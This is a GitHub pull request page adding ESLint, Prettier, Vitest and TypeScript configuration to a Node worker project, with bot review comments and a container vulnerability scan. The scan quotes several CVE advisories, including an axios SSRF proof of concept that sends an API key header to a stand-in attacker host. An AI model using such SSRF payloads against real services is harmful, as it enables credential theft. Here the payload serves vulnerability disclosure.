Skip to content

chore: Add ESLint and Prettier configuration files for code quality #26

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 15 commits into from
May 21, 2025

Conversation

anatolyshipitz
Copy link
Collaborator

  • Introduced .prettierrc for consistent code formatting with specified rules.
  • Added .prettierignore to exclude certain directories from formatting.
  • Created eslint.config.mjs to configure ESLint with TypeScript support and various plugins for improved code quality.
  • Updated package.json and package-lock.json to include necessary ESLint and Prettier dependencies.
  • Added tsconfig.json for TypeScript compilation settings.
  • Modified vitest.config.ts to export the configuration properly.

These changes enhance code quality and maintainability by integrating ESLint and Prettier into the project.

- Added Vitest configuration for testing with coverage reporting.
- Created initial test for the `run` function to ensure it returns true.
- Updated `package.json` and `package-lock.json` to include necessary dependencies for testing.
- Configured SonarQube to include JavaScript coverage reports and exclude test files from analysis.

These changes enhance the testing framework for the temporal worker, ensuring better code quality and coverage tracking.
…index

- Added a newline at the end of the vitest.config.ts file to adhere to best practices.
- Added a newline at the end of the index.ts file to ensure proper file termination.

These changes improve code quality and maintain consistency across files.
- Added resolved URLs and integrity hashes for various dependencies in package-lock.json to ensure consistent installations.
- Removed unnecessary nested dependencies for improved clarity and maintenance.

These changes enhance the reliability of package installations and maintain consistency across environments.
- Updated the `@types/node` dependency version in both `package.json` and `package-lock.json` to ensure compatibility and improved performance.
- Updated the `undici-types` dependency version in `package-lock.json` for better stability.
- Added documentation comments in `index.ts` to clarify the purpose and return type of the `run` function.

These changes improve dependency management and enhance code clarity through better documentation.
- Introduced `.prettierrc` for consistent code formatting with specified rules.
- Added `.prettierignore` to exclude certain directories from formatting.
- Created `eslint.config.mjs` to configure ESLint with TypeScript support and various plugins for improved code quality.
- Updated `package.json` and `package-lock.json` to include necessary ESLint and Prettier dependencies.
- Added `tsconfig.json` for TypeScript compilation settings.
- Modified `vitest.config.ts` to export the configuration properly.

These changes enhance code quality and maintainability by integrating ESLint and Prettier into the project.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner May 19, 2025 16:48
Copy link

coderabbitai bot commented May 19, 2025

Warning

Rate limit exceeded

@anatolyshipitz has exceeded the limit for the number of commits or files that can be reviewed per hour. Please wait 13 minutes and 11 seconds before requesting another review.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

📥 Commits

Reviewing files that changed from the base of the PR and between 176975a and 03b0848.

📒 Files selected for processing (1)
  • workers/main/package.json (1 hunks)
📝 Walkthrough

"""

Walkthrough

This update introduces comprehensive code quality tooling to the workers/main directory. It adds and configures ESLint, Prettier, and Vitest for linting, formatting, and testing, respectively. The CI workflow is updated to install dependencies and run linting and coverage checks. New configuration files standardize code style and testing practices.

Changes

File(s) Change Summary
.github/workflows/code-quality.yml Updated workflow: replaced placeholder steps with explicit npm install, ESLint execution, and test coverage commands in workers/main.
workers/main/.prettierignore, workers/main/.prettierrc Added Prettier ignore and configuration files to define formatting rules and exclude build, coverage, and cache directories from formatting.
workers/main/eslint.config.mjs Added ESLint configuration with TypeScript, Prettier, import sorting, and custom linting rules.
workers/main/package.json Added ESLint, Prettier, and related plugins as devDependencies; added ESLint script command.
workers/main/tsconfig.json Added TypeScript configuration specifying compiler options and included files.
workers/main/vitest.config.ts Added Vitest configuration for test environment, file patterns, coverage collection, and thresholds.

Sequence Diagram(s)

sequenceDiagram
    participant CI Workflow
    participant NPM
    participant ESLint
    participant Vitest

    CI Workflow->>NPM: npm ci (install dependencies)
    CI Workflow->>ESLint: npm run eslint (lint code)
    CI Workflow->>Vitest: npm run coverage (run tests with coverage)
Loading

Possibly related PRs

Suggested reviewers

  • killev
    """

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

Copy link

github-actions bot commented May 19, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:d320be4f2796ed8799d55ab0a3f4d089d38403713ecfc9f8e768184b69d23780
vulnerabilitiescritical: 2 high: 5 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.029%
EPSS Percentile7th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.108%
EPSS Percentile30th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score13.314%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.038%
EPSS Percentile10th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.317%
EPSS Percentile54th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

anatolyshipitz and others added 6 commits May 19, 2025 18:49
- Added a newline at the end of `.prettierignore` to adhere to formatting standards.
- Ensured proper file termination by adding a newline at the end of `.prettierrc`.
- Updated `eslint.config.mjs` to include a newline at the end for consistency.

These changes enhance the overall code quality and maintainability of the project by ensuring proper formatting and file structure.
- Updated TypeScript version from `^5.0.0` to `5.8.3` in both `package.json` and `package-lock.json` for better performance and compatibility.
- Updated the version of `@vitest/pretty-format` from `3.1.3` to `3.1.4` in `package-lock.json` to ensure the latest features and fixes are included.
- Modified the import statement in the test file `index.test.ts` for consistency and clarity.

These changes enhance the development environment by ensuring up-to-date dependencies and improving code readability in tests.
- Removed the 'import/no-default-export' rule from `eslint.config.mjs` to streamline ESLint settings.
- Updated the ESLint command in `package.json` to only include TypeScript files (.ts) for linting.
- Changed the export statement in `vitest.config.ts` to use default export for consistency.

These changes enhance the clarity and maintainability of the configuration files, ensuring a more straightforward setup for code quality tools.
…installation

- Added a step to install dependencies in the code quality workflow.
- Updated the linting step to run ESLint after installing dependencies.

These changes improve the code quality workflow by ensuring that all necessary dependencies are installed before linting, enhancing the reliability of the linting process.
- Removed the trailing comma in the `extensions` array of `eslint.config.mjs` to adhere to proper JavaScript syntax.

This change improves the ESLint configuration file by ensuring it follows standard formatting rules, enhancing code quality and maintainability.
@anatolyshipitz anatolyshipitz self-assigned this May 19, 2025
Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@anatolyshipitz please

  1. make this PR from main, not from feature branch
  2. extend prettier with stricter rules

Base automatically changed from feature/64211-temporal-worker-tests to main May 20, 2025 20:37
- Added new Prettier options including `trailingComma`, `printWidth`, `tabWidth`, and `semi` for enhanced code formatting consistency.
- Updated existing options to ensure better readability and maintainability of the codebase.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

♻️ Duplicate comments (1)
workers/main/.prettierrc (1)

1-11: Prettier configuration matches the requested strict style
This .prettierrc enforces trailing commas, an 80-character print width, 2-space tabs, semicolons, single quotes, bracket spacing, consistent props quoting, and proper end‐of‐line handling, as previously requested.

🧹 Nitpick comments (5)
workers/main/tsconfig.json (1)

1-12: Good TypeScript configuration but consider adding source maps

The TypeScript configuration looks well-structured with appropriate settings for a Node.js worker environment. The strict type checking and ES module interoperability are good choices for maintainability.

Consider adding source map generation for better debugging capabilities:

{
  "compilerOptions": {
    "outDir": "./dist",
    "rootDir": ".",
    "module": "commonjs",
    "target": "es2019",
    "esModuleInterop": true,
    "strict": true,
-    "skipLibCheck": true
+    "skipLibCheck": true,
+    "sourceMap": true
  },
  "include": ["./**/*.ts"]
}
workers/main/src/index.ts (1)

1-7: Unnecessary await on Promise.resolve

The function is well-documented with proper JSDoc comments, but contains an unnecessary await.

The await before Promise.resolve() is redundant since Promise.resolve() already returns a resolved Promise. Consider simplifying:

export async function run() {
-  return await Promise.resolve(true);
+  return Promise.resolve(true);

Or even more concisely:

export async function run() {
-  return await Promise.resolve(true);
+  return true;

Since the function is already declared async, returning a non-Promise value will automatically wrap it in a Promise.

.github/workflows/code-quality.yml (1)

17-20: Add a Prettier check to the CI pipeline
Currently, we run ESLint (which integrates Prettier via eslint-plugin-prettier), but it's beneficial to surface formatting issues directly via Prettier. Consider adding a dedicated prettier --check step after ESLint:

   - name: Run ESLint
     run: cd workers/main && npm run eslint
+  - name: Run Prettier check
+    run: cd workers/main && npx prettier --check .

Also applies to: 31-34

workers/main/eslint.config.mjs (2)

32-39: Simplify coverage directory exclusion pattern.

There's unnecessary redundancy in excluding coverage directories. The pattern with **/* is sufficient to exclude the directory and all of its contents.

ignores: [
  'node_modules',
  'dist',
  'eslint.config.mjs',
- 'coverage',
- 'coverage/*',
  'coverage/**/*'
],

52-58: Missing internal path groups configuration for import order.

The import/order rule defines an 'internal' group but doesn't specify what should be considered as internal modules. This might lead to inconsistent import ordering.

import/order: [
  'error',
  {
    groups: ['builtin', 'external', 'internal'],
    'newlines-between': 'always',
    alphabetize: {
      order: 'asc',
      caseInsensitive: true,
    },
+   pathGroups: [
+     // Define what's considered "internal"
+     // e.g., { pattern: '@/**', group: 'internal' }
+   ],
  },
],
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 0facab0 and a8c46d6.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (10)
  • .github/workflows/code-quality.yml (2 hunks)
  • sonar-project.properties (1 hunks)
  • workers/main/.prettierignore (1 hunks)
  • workers/main/.prettierrc (1 hunks)
  • workers/main/eslint.config.mjs (1 hunks)
  • workers/main/package.json (1 hunks)
  • workers/main/src/__tests__/index.test.ts (1 hunks)
  • workers/main/src/index.ts (1 hunks)
  • workers/main/tsconfig.json (1 hunks)
  • workers/main/vitest.config.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/__tests__/index.test.ts (1)
workers/main/src/index.ts (1)
  • run (5-7)
🔇 Additional comments (5)
workers/main/src/__tests__/index.test.ts (1)

1-9: Simple and effective test setup

The test correctly verifies the expected behavior of the run function using Vitest's async testing capabilities.

workers/main/.prettierignore (1)

1-4: Appropriate Prettier ignore configuration

The .prettierignore file correctly excludes build outputs, test coverage reports, and cache files from Prettier formatting.

sonar-project.properties (1)

3-4: SonarQube coverage and exclusion paths configured correctly
The LCOV report path (workers/main/coverage/lcov.info) and exclusion patterns (**/src/__tests__/**, **/src/dist/**) properly target the new workers/main tests and distribution outputs.

workers/main/vitest.config.ts (1)

1-22: Vitest configuration set up correctly
The test inclusion patterns, V8 coverage provider, reporters, and 80% thresholds for statements, branches, functions, and lines align with the project's quality requirements.

workers/main/eslint.config.mjs (1)

1-80: LGTM! This is a comprehensive ESLint configuration for TypeScript.

This ESLint configuration provides a solid foundation for maintaining code quality in a TypeScript project. It includes essential plugins for TypeScript, Prettier integration, import management, and defines a comprehensive set of rules that enforce good practices.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between a8c46d6 and 1d2de23.

📒 Files selected for processing (1)
  • workers/main/package.json (1 hunks)
🧰 Additional context used
🪛 Biome (1.9.4)
workers/main/package.json

[error] 21-21: expected , but instead found "prettier"

Remove "prettier"

(parse)

⏰ Context from checks skipped due to timeout of 90000ms (1)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
🔇 Additional comments (3)
workers/main/package.json (3)

7-8: Approve addition of coverage and ESLint scripts.
The new "coverage": "vitest run --coverage" and "eslint": "eslint . --ext .ts" scripts integrate testing, coverage reporting, and linting into the npm workflow as intended.


11-21: Approve devDependencies additions.
The added devDependencies—ESLint core, TypeScript resolver, import sorting, Prettier plugin, and related utilities—provide comprehensive linting and formatting support. Versions appear reasonable, but confirm they align with your Node/TypeScript environment.

🧰 Tools
🪛 Biome (1.9.4)

[error] 21-21: expected , but instead found "prettier"

Remove "prettier"

(parse)


24-24: Verify correctness of typescript-eslint dependency.
The package name "typescript-eslint" is uncommon—did you mean @typescript-eslint/eslint-plugin or @typescript-eslint/parser? Please confirm you’ve installed the intended package.

- Removed the nested "node" object from the "import/resolver" settings in `eslint.config.mjs`, streamlining the configuration.
- Deleted the "import/order" rule to simplify the ESLint settings, focusing on essential linting requirements.

These changes enhance the clarity and maintainability of the ESLint configuration, ensuring a more straightforward setup for code quality tools.
- Added a trailing comma to the "eslint-config-prettier" entry in `package.json` for consistency in formatting.

This change maintains the standard formatting style within the configuration file, ensuring better readability and adherence to coding conventions.
Copy link

@anatolyshipitz anatolyshipitz requested a review from killev May 21, 2025 12:29
@anatolyshipitz anatolyshipitz enabled auto-merge (squash) May 21, 2025 12:29
Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@anatolyshipitz anatolyshipitz merged commit d5c1871 into main May 21, 2025
12 checks passed
@anatolyshipitz anatolyshipitz deleted the feature/64211-temporal-worker-eslint branch May 21, 2025 14:47
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants